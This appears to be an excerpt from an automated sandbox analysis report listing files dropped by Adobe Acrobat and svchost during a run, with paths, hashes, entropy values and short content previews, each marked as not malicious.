C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08131733405073992
Encrypted:	false
SSDEEP:	3:1/llKYeQR0jvT/fgsCrZClW/thnWx/ill+SHY/Xl+/rQLve:1/llKzJLfgs3G/E/GAS4M
MD5:	109287D01AC169620E15E4E79DBD184F
SHA1:	37225AB00A1D02512C9160175FD02EF0F4124D20
SHA-256:	C4DCAD885AA358F7F8A2BFF6F93C504B0E29CE600DA2CC1415A4B0267DD6C0E3
SHA-512:	5F0246E8C2D4A11ABB38D38B93A27D67CD071A65676AC4AE24A08D06230D19CF2793B6F1DC246F92901BE190608A44890ABBA48CBB20035CFF5C81CA9BB991F6
Malicious:	false
Preview:	B........................................;...{.......}=......{}..............{}......{}.vv_Q.....{}.........................}=.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.163464725232391
Encrypted:	false
SSDEEP:	6:iO4+V2HDM+q2PqLTwi2nKuAl9OmbnIFUtS+V24XgZmws+V24XDMVkwOqLTwi2nKZ:7L8HDM+v8wZHAahFUtp84Xg/n84XDMV3
MD5:	8FEC35A283035414BAF6CE2061BD5591
SHA1:	D48CCF187DC60C9ADB09DCB3DE62DCBD7AA12883
SHA-256:	EB7CDCF61BB0C7AB7840F68AE5748D0ED9D09068E24F18542A97438CE6A262F2
SHA-512:	D318E90D774A1FCC2EE0A533232EA29E486030B28D203E5FEC206F0FCDC367266500A3CB344093BD9262A31793BB35FB9083C87EC559195E3AB61CD69195D2AD
Malicious:	false
Preview:	2025/01/10-16:30:02.711 15fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:30:02.714 15fc Recovering log #3.2025/01/10-16:30:02.714 15fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.163464725232391
Encrypted:	false
SSDEEP:	6:iO4+V2HDM+q2PqLTwi2nKuAl9OmbnIFUtS+V24XgZmws+V24XDMVkwOqLTwi2nKZ:7L8HDM+v8wZHAahFUtp84Xg/n84XDMV3
MD5:	8FEC35A283035414BAF6CE2061BD5591
SHA1:	D48CCF187DC60C9ADB09DCB3DE62DCBD7AA12883
SHA-256:	EB7CDCF61BB0C7AB7840F68AE5748D0ED9D09068E24F18542A97438CE6A262F2
SHA-512:	D318E90D774A1FCC2EE0A533232EA29E486030B28D203E5FEC206F0FCDC367266500A3CB344093BD9262A31793BB35FB9083C87EC559195E3AB61CD69195D2AD
Malicious:	false
Preview:	2025/01/10-16:30:02.711 15fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:30:02.714 15fc Recovering log #3.2025/01/10-16:30:02.714 15fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.167995473124996
Encrypted:	false
SSDEEP:	6:iO4+V2zUlOq2PqLTwi2nKuAl9Ombzo2jMGIFUtS+V2AcdZmws+V2AcvkwOqLTwiV:7L88Ov8wZHAa8uFUtp8Acd/n8Acv5Twy
MD5:	AA8D9184086E797C1F31011D496B2738
SHA1:	91AFF805959ACB1ED2818A21424385380B45904E
SHA-256:	93CF46C7635EAF667CBAB3631CEE170E4CC6EAD7D1239B81649BB1AAEED245F5
SHA-512:	D076BC6E14E5F08E1561884AA1AF20AC21EFB7DA49FA0B85143D059E16C0AB8986953724664B8B9F0B9FE420AC9E423BBB7E3E6EDAC9F7885F4D890860154961
Malicious:	false
Preview:	2025/01/10-16:30:02.724 16b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:30:02.725 16b4 Recovering log #3.2025/01/10-16:30:02.725 16b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.167995473124996
Encrypted:	false
SSDEEP:	6:iO4+V2zUlOq2PqLTwi2nKuAl9Ombzo2jMGIFUtS+V2AcdZmws+V2AcvkwOqLTwiV:7L88Ov8wZHAa8uFUtp8Acd/n8Acv5Twy
MD5:	AA8D9184086E797C1F31011D496B2738
SHA1:	91AFF805959ACB1ED2818A21424385380B45904E
SHA-256:	93CF46C7635EAF667CBAB3631CEE170E4CC6EAD7D1239B81649BB1AAEED245F5
SHA-512:	D076BC6E14E5F08E1561884AA1AF20AC21EFB7DA49FA0B85143D059E16C0AB8986953724664B8B9F0B9FE420AC9E423BBB7E3E6EDAC9F7885F4D890860154961
Malicious:	false
Preview:	2025/01/10-16:30:02.724 16b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:30:02.725 16b4 Recovering log #3.2025/01/10-16:30:02.725 16b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9532653579179895
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqw6hsBdOg2Hrcaq3QYiub5P7E4T3y:Y2sRdsn6ydMHS3QYhbt7nby
MD5:	F97CB2E61C6270CC7F313F9209D5DB46
SHA1:	67713359DE181EF095C5C55C05F97CBC38AEACCF
SHA-256:	E3AFBB559C25351780710FBB731FB4333EE1C33EA32092FB928894E95BB69F4E
SHA-512:	26F8858E0DEC137AD3D5A54DA3E516E7DBAFA5268321A52F39294407043159257852F288FCA2418F1DFBB481E3F8DF35BDB0F89A719C4C90FCE8B10E5BD9CD2D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381104613631206","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132834},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e282820e-2162-4fa1-b779-9ec17eaabc7b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9532653579179895
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqw6hsBdOg2Hrcaq3QYiub5P7E4T3y:Y2sRdsn6ydMHS3QYhbt7nby
MD5:	F97CB2E61C6270CC7F313F9209D5DB46
SHA1:	67713359DE181EF095C5C55C05F97CBC38AEACCF
SHA-256:	E3AFBB559C25351780710FBB731FB4333EE1C33EA32092FB928894E95BB69F4E
SHA-512:	26F8858E0DEC137AD3D5A54DA3E516E7DBAFA5268321A52F39294407043159257852F288FCA2418F1DFBB481E3F8DF35BDB0F89A719C4C90FCE8B10E5BD9CD2D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381104613631206","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132834},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.223634985075292
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Ozu2Th:1CDLCmPj8j0/8qKgwPHYPx8xemT8Ozu4
MD5:	CEED2856AC5150F91940C8C5FDBEC649
SHA1:	46489C9DE00AE37E96A259A948F245B8A0C22CDD
SHA-256:	FE5F636604DC19DED3F1FFC76506D8B5FC569C9BFB1192399314AD36723D5BF1
SHA-512:	5024EAFF0640111F42D5A465767EE7979353225FBBB7F24C112309892614212159D0A5B472C6F873B0BAEFC5C28F2284467BCBCD77978C6D940864D0ADAC975E
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.127261856969646
Encrypted:	false
SSDEEP:	6:iO4+VSOq2PqLTwi2nKuAl9OmbzNMxIFUtS+VKuRZmws+VgLkwOqLTwi2nKuAl9Ob:7LMOv8wZHAa8jFUtpQ2/naL5TwZHAa8E
MD5:	41DD15E5945B408308A4A3417218C914
SHA1:	341B6EEB08AEE3B67B955960D5CD5D31383F288C
SHA-256:	96268EA32A71AEFEC0D738CCCA123C948278DFD2921C57A9DE3F5FF1CE453902
SHA-512:	D7D67D477B1A5F1A72883C18E0566A89D50FEE3D74E81191E6DE97064DA1BD1E8B5ADA490C2E005F64F09F031E9EF293A3F5C891842B36FBC4F828A428105841
Malicious:	false
Preview:	2025/01/10-16:30:03.160 16b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:30:03.161 16b4 Recovering log #3.2025/01/10-16:30:03.162 16b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.127261856969646
Encrypted:	false
SSDEEP:	6:iO4+VSOq2PqLTwi2nKuAl9OmbzNMxIFUtS+VKuRZmws+VgLkwOqLTwi2nKuAl9Ob:7LMOv8wZHAa8jFUtpQ2/naL5TwZHAa8E
MD5:	41DD15E5945B408308A4A3417218C914
SHA1:	341B6EEB08AEE3B67B955960D5CD5D31383F288C
SHA-256:	96268EA32A71AEFEC0D738CCCA123C948278DFD2921C57A9DE3F5FF1CE453902
SHA-512:	D7D67D477B1A5F1A72883C18E0566A89D50FEE3D74E81191E6DE97064DA1BD1E8B5ADA490C2E005F64F09F031E9EF293A3F5C891842B36FBC4F828A428105841
Malicious:	false
Preview:	2025/01/10-16:30:03.160 16b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:30:03.161 16b4 Recovering log #3.2025/01/10-16:30:03.162 16b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4383290727881874
Encrypted:	false
SSDEEP:	384:Seici5G1iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:F5urVgazUpUTTGt
MD5:	80DC83D9F457EB1E231C98D3E22820A4
SHA1:	65AC72BE857EF9AA261B71B5C45DE96EF9985A46
SHA-256:	C305408B2405C3FACCC6DCA3D8C3B9D2091BC5C80E503E6A22D5DC1A7842F224
SHA-512:	E814427E06BD6B1D843D780876E5C1B49F8B63B3D6E4DF73A321D3A75ECCDA6FD9A38C80E58BFA378CC2D5135B16E9E8C585D1CA3B83F051ACE766A32ADFBF98
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.211029718358928
Encrypted:	false
SSDEEP:	24:7+tS66wKPqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MzC:7MXWPqPmFTIF3XmHjBoGGR+jMz+Lh7
MD5:	03BB431710D1594B25A8191F7E5A0404
SHA1:	9E54C11CD3A5CA7B5E79ED65B8C7536D6D071396
SHA-256:	085F90AD284B1D578186793C47E27B0990352D350CF775E5E879462B01428D6C
SHA-512:	5E39DC03FFC0EC8F10546BC0E38287AA5F6C7BDAE65D042C969FE1BAC56E318B3E00D98AF43100A17F140C91A61A83B979297774A1F47472CF9FE27029190A12
Malicious:	false
Preview:	.... .c.....t.a.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl0P2a+kN/ltfllXlE/HT8kmwjNNX8RolJuRdxLlGB9lQRYwpDdt:kKtOabNteT8+NMa8RdWBwRd
MD5:	1E96BE75626ACCDAFE4E7378C9E45851
SHA1:	24612CEC3DB956D8F91BA5EB1A04641FC2F4365E
SHA-256:	DB405C58AC8B9522A35B54F9C26CA80CE698507350318298F748FF7E224193DB
SHA-512:	BC3F8B1EC1E7A897B996A26BBCA0B58779FCCB540F47C1425F0AF451949B256BE4B3C51465281C31172339E3679E393AB10F8EF97F3C79EF05202C1C2C79AE23
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKX6psL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:f6yiDImsLNkPlE99SNxAhUe/3
MD5:	2AC0F2AC63ABCE17172CBDF30BB968E3
SHA1:	B07233FB5B0F993136AD8C760CBB4262B962BBCE
SHA-256:	4A2F9D4C95EF8F57A2FD0B8F37F9E03519E832F105513555B26C1120AA3D03B9
SHA-512:	5D7D7A23C9578A439C0E4B1DCABA38E6AD03E465EE5705BC494C5D5C88926BCBC0B0396E70F16BCC8BED7D94ED9159FA1A05B416374E8C9CC46130DDB65B6DA6
Malicious:	false
Preview:	p...... .........E..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7016

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
